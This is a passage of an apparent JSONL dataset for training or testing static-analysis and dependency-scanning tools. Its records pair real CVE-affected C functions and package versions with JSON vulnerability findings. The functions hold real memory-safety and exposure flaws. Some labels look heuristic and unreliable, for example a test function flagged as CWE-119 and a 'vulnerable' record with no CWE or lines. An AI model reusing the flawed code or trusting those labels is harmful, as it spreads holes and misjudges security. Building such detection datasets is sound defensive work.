\"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 10,\n \"col\": 8\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: h2o\nInstalled version: 3.46.0.10\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"h2o\",\n \"installed_version\": \"3.46.0.10\",\n \"note\": \"h2o 3.46.0.10 is at or above the fixed version for PYSEC-2026-2180; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void test_base64_lengths(void)\n{\n const char *in = \"FuseMuse\";\n char out1[32];\n char out2[32];\n size_t enclen;\n int declen;\n\n /* Encoding a zero-length string should fail */\n enclen = mutt_b64_encode(out1, in, 0, 32);\n if (!TEST_CHECK(enclen == 0))\n {\n TEST_MSG(\"Expected: %zu\", 0);\n TEST_MSG(\"Actual : %zu\", enclen);\n }\n \n /* Decoding a zero-length string should fail, too */\n out1[0] = '\\0';\n declen = mutt_b64_decode(out2, out1);\n if (!TEST_CHECK(declen == -1))\n {\n TEST_MSG(\"Expected: %zu\", -1);\n TEST_MSG(\"Actual : %zu\", declen);\n }\n\n /* Encode one to eight bytes, check the lengths of the returned string */\n for (size_t i = 1; i <= 8; ++i)\n {\n enclen = mutt_b64_encode(out1, in, i, 32);\n size_t exp = ((i + 2) / 3) << 2;\n if (!TEST_CHECK(enclen == exp))\n {\n TEST_MSG(\"Expected: %zu\", exp);\n TEST_MSG(\"Actual : %zu\", enclen);\n }\n declen = mutt_b64_decode(out2, out1);\n if (!TEST_CHECK(declen == i))\n {\n TEST_MSG(\"Expected: %zu\", i);\n TEST_MSG(\"Actual : %zu\", declen);\n }\n out2[declen] = '\\0';\n if (!TEST_CHECK(strncmp(out2, in, i) == 0))\n {\n TEST_MSG(\"Expected: %s\", in);\n TEST_MSG(\"Actual : %s\", out2);\n }\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-14359\",\n \"project\": \"neomutt\",\n \"vulnerable_lines\": [\n 19,\n 36\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"test_base64_lengths\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"FuseMuse\",\n \"ast_node\": \"string_content\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"out1\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"32\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"out2\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"32\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 12\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"enclen\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"declen\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"/* Encoding a zero-length string should fail */\",\n \"ast_node\": \"comment\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"enclen\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 9\n },\n {\n \"token\": \"mutt_b64_encode\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 26\n },\n {\n \"token\": \"out1\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 27\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 31\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 35\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 37\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 38\n },\n {\n \"token\": \"32\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 42\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 43\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 11,\n \"col\": 6\n },\n {\n \"token\": \"TEST_CHECK\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 17\n },\n {\n \"token\": \"enclen\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 18\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 11,\n \"col\": 25\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 30\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 12,\n \"col\": 2\n },\n {\n \"token\": \"TEST_MSG\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 12\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-122", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Magick.NET-Q16-AnyCPU\nInstalled version: <14.10.4\nSummary: ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-56jp-jfqg-f8f4\",\n \"cve\": \"CVE-2026-31853\",\n \"aliases\": [\n \"CVE-2026-31853\"\n ],\n \"cwe\": \"CWE-122\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Magick.NET-Q16-AnyCPU\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <14.10.4\",\n \"fixed_version\": \"14.10.4\",\n \"finding\": \"ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder\",\n \"remediation\": \"Upgrade Magick.NET-Q16-AnyCPU to 14.10.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int main(int argc, char *argv[])\n{\n time_t timep;\n struct tm *timeptr;\n char *now;\n\n if (argc < 3) {\n send_error(1);\n return -1;\n } else if (argc > 3) {\n send_error(5);\n return -1;\n }\n\n build_needs_escape();\n\n if (argv[2] == NULL)\n index_directory(argv[1], argv[1]);\n else\n index_directory(argv[1], argv[2]);\n\n time(&timep);\n#ifdef USE_LOCALTIME\n timeptr = localtime(&timep);\n#else\n timeptr = gmtime(&timep);\n #endif\n now = strdup(asctime(timeptr));\n now[strlen(now) - 1] = '\\0';\n #ifdef USE_LOCALTIME\n printf(\"\\n
\\nIndex generated %s %s\\n\"\n \"\\n\"\n \"\\n\\n\", now, TIMEZONE(timeptr));\n#else\n printf(\"\\n
\\nIndex generated %s UTC\\n\"\n \"\\n\"\n \"\\n\\n\", now);\n #endif\n return 0;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-21028\",\n \"project\": \"boa\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void *__alloc_from_pool(size_t size, struct page **ret_page, gfp_t flags)\n{\n\tunsigned long val;\n\tvoid *ptr = NULL;\n\n\tif (!atomic_pool) {\n\t\tWARN(1, \"coherent pool not initialised!\\n\");\n\t\treturn NULL;\n\t}\n\n\tval = gen_pool_alloc(atomic_pool, size);\n\tif (val) {\n\t\tphys_addr_t phys = gen_pool_virt_to_phys(atomic_pool, val);\n \n \t\t*ret_page = phys_to_page(phys);\n \t\tptr = (void *)val;\n\t\tif (flags & __GFP_ZERO)\n\t\t\tmemset(ptr, 0, size);\n \t}\n \n \treturn ptr;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-8950\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 17,\n 18\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 4\n },\n {\n \"token\": \"val\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 8\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \"phys_addr_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"phys\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 19\n },\n {\n \"token\": \"gen_pool_virt_to_phys\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 21\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 42\n },\n {\n \"token\": \"atomic_pool\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 13,\n \"col\": 54\n },\n {\n \"token\": \"val\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 56\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 59\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 60\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 15,\n \"col\": 3\n },\n {\n \"token\": \"ret_page\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 15,\n \"col\": 13\n },\n {\n \"token\": \"phys_to_page\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 27\n },\n {\n \"token\": \"phys\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 15,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 15,\n \"col\": 33\n },\n {\n \"token\": \"ptr\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 3\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 16,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 9\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 16,\n \"col\": 10\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 16,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 16,\n \"col\": 16\n },\n {\n \"token\": \"val\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 16,\n \"col\": 20\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 17,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 17,\n \"col\": 5\n },\n {\n \"token\": \"flags\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 6\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 17,\n \"col\": 12\n },\n {\n \"token\": \"__GFP_ZERO\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 17,\n \"col\": 24\n },\n {\n \"token\": \"memset\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 9\n },\n {\n \"token\": \"ptr\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 18,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 18,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 18,\n \"col\": 16\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 18,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 18,\n \"col\": 23\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 19,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/openfga/openfga\nInstalled version: <1.3.4\nSummary: OpenFGA DoS vulnerability in github.com/openfga/openfga", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2023-2121\",\n \"cve\": \"CVE-2023-45810\",\n \"aliases\": [\n \"CVE-2023-45810\",\n \"GHSA-hr4f-6jh8-f2vq\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/openfga/openfga\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.3.4\",\n \"fixed_version\": \"1.3.4\",\n \"finding\": \"OpenFGA DoS vulnerability in github.com/openfga/openfga\",\n \"remediation\": \"Upgrade github.com/openfga/openfga to 1.3.4 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:14\nManifest: distro package manager (apt/apk)\nPackage: glances\nInstalled version: 4.5.1+dfsg-1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:14\",\n \"package\": \"glances\",\n \"installed_version\": \"4.5.1+dfsg-1\",\n \"note\": \"glances 4.5.1+dfsg-1 is at or above the fixed version for DEBIAN-CVE-2026-30930; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int main(int argc, char *argv[])\n{\n opj_dinfo_t* dinfo;\n opj_event_mgr_t event_mgr; /* event manager */\n int tnum;\n unsigned int snum;\n opj_mj2_t *movie;\n mj2_tk_t *track;\n mj2_sample_t *sample;\n unsigned char* frame_codestream;\n FILE *file, *outfile;\n char outfilename[50];\n mj2_dparameters_t parameters;\n\n if (argc != 3) {\n printf(\"Usage: %s mj2filename output_location\\n\", argv[0]);\n printf(\"Example: %s foreman.mj2 output/foreman\\n\", argv[0]);\n return 1;\n }\n\n file = fopen(argv[1], \"rb\");\n\n if (!file) {\n fprintf(stderr, \"failed to open %s for reading\\n\", argv[1]);\n return 1;\n }\n\n /*\n configure the event callbacks (not required)\n setting of each callback is optional\n */\n memset(&event_mgr, 0, sizeof(opj_event_mgr_t));\n event_mgr.error_handler = error_callback;\n event_mgr.warning_handler = warning_callback;\n event_mgr.info_handler = info_callback;\n\n /* get a MJ2 decompressor handle */\n dinfo = mj2_create_decompress();\n\n /* catch events using our callbacks and give a local context */\n opj_set_event_mgr((opj_common_ptr)dinfo, &event_mgr, stderr);\n\n /* setup the decoder decoding parameters using user parameters */\n memset(¶meters, 0, sizeof(mj2_dparameters_t));\n movie = (opj_mj2_t*) dinfo->mj2_handle;\n mj2_setup_decoder(movie, ¶meters);\n\n if (mj2_read_struct(file, movie)) { /* Creating the movie structure*/\n return 1;\n }\n\n /* Decode first video track */\n tnum = 0;\n while (movie->tk[tnum].track_type != 0) {\n tnum ++;\n }\n\n track = &movie->tk[tnum];\n\n fprintf(stdout, \"Extracting %d frames from file...\\n\", track->num_samples);\n\n for (snum = 0; snum < track->num_samples; snum++) {\n sample = &track->sample[snum];\n frame_codestream = (unsigned char*) malloc(sample->sample_size -\n 8); /* Skipping JP2C marker*/\n fseek(file, sample->offset + 8, SEEK_SET);\n fread(frame_codestream, sample->sample_size - 8, 1,\n file); /* Assuming that jp and ftyp markers size do*/\n \n sprintf(outfilename, \"%s_%05d.j2k\", argv[2], snum);\n outfile = fopen(outfilename, \"wb\");\n if (!outfile) {\n fprintf(stderr, \"failed to open %s for writing\\n\", outfilename);\n return 1;\n }\n fwrite(frame_codestream, sample->sample_size - 8, 1, outfile);\n fclose(outfile);\n free(frame_codestream);\n }\n fclose(file);\n fprintf(stdout, \"%d frames correctly extracted\\n\", snum);\n\n /* free remaining structures */\n if (dinfo) {\n mj2_destroy_decompress((opj_mj2_t*)dinfo->mj2_handle);\n }\n\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-7648\",\n \"project\": \"openjpeg\",\n \"vulnerable_lines\": [\n 70\n ],\n \"sink_node_type\": \"for_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"for_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 62,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 62,\n \"col\": 8\n },\n {\n \"token\": \"snum\",\n \"ast_node\": \"identifier\",\n \"line\": 62,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 62,\n \"col\": 14\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 62,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 62,\n \"col\": 17\n },\n {\n \"token\": \"snum\",\n \"ast_node\": \"identifier\",\n \"line\": 62,\n \"col\": 19\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 62,\n \"col\": 24\n },\n {\n \"token\": \"track\",\n \"ast_node\": \"identifier\",\n \"line\": 62,\n \"col\": 26\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 62,\n \"col\": 31\n },\n {\n \"token\": \"num_samples\",\n \"ast_node\": \"field_identifier\",\n \"line\": 62,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 62,\n \"col\": 44\n },\n {\n \"token\": \"snum\",\n \"ast_node\": \"identifier\",\n \"line\": 62,\n \"col\": 46\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 62,\n \"col\": 50\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 62,\n \"col\": 52\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 62,\n \"col\": 54\n },\n {\n \"token\": \"sample\",\n \"ast_node\": \"identifier\",\n \"line\": 63,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 63,\n \"col\": 15\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 63,\n \"col\": 17\n },\n {\n \"token\": \"track\",\n \"ast_node\": \"identifier\",\n \"line\": 63,\n \"col\": 18\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 63,\n \"col\": 23\n },\n {\n \"token\": \"sample\",\n \"ast_node\": \"field_identifier\",\n \"line\": 63,\n \"col\": 25\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 63,\n \"col\": 31\n },\n {\n \"token\": \"snum\",\n \"ast_node\": \"identifier\",\n \"line\": 63,\n \"col\": 32\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 63,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 63,\n \"col\": 37\n },\n {\n \"token\": \"frame_codestream\",\n \"ast_node\": \"identifier\",\n \"line\": 64,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 64,\n \"col\": 25\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 64,\n \"col\": 27\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 64,\n \"col\": 28\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 64,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 64,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 64,\n \"col\": 42\n },\n {\n \"token\": \"malloc\",\n \"ast_node\": \"identifier\",\n \"line\": 64,\n \"col\": 44\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 64,\n \"col\": 50\n },\n {\n \"token\": \"sample\",\n \"ast_node\": \"identifier\",\n \"line\": 64,\n \"col\": 51\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 64,\n \"col\": 57\n },\n {\n \"token\": \"sample_size\",\n \"ast_node\": \"field_identifier\",\n \"line\": 64,\n \"col\": 59\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 64,\n \"col\": 71\n },\n {\n \"token\": \"8\",\n \"ast_node\": \"number_literal\",\n \"line\": 65,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 65,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 65,\n \"col\": 29\n },\n {\n \"token\": \"/* Skipping JP2C marker*/\",\n \"ast_node\": \"comment\",\n \"line\": 65,\n \"col\": 31\n },\n {\n \"token\": \"fseek\",\n \"ast_node\": \"identifier\",\n \"line\": 66,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 66,\n \"col\": 13\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"identifier\",\n \"line\": 66,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 66,\n \"col\": 18\n },\n {\n \"token\": \"sample\",\n \"ast_node\": \"identifier\",\n \"line\": 66,\n \"col\": 20\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 66,\n \"col\": 26\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"field_identifier\",\n \"line\": 66,\n \"col\": 28\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 66,\n \"col\": 35\n },\n {\n \"token\": \"8\",\n \"ast_node\": \"number_literal\",\n \"line\": 66,\n \"col\": 37\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 66,\n \"col\": 38\n },\n {\n \"token\": \"SEEK_SET\",\n \"ast_node\": \"identifier\",\n \"line\": 66,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 66,\n \"col\": 48\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 66,\n \"col\": 49\n },\n {\n \"token\": \"fread\",\n \"ast_node\": \"identifier\",\n \"line\": 67,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 67,\n \"col\": 14\n },\n {\n \"token\": \"frame_codestream\",\n \"ast_node\": \"identifier\",\n \"line\": 67,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n 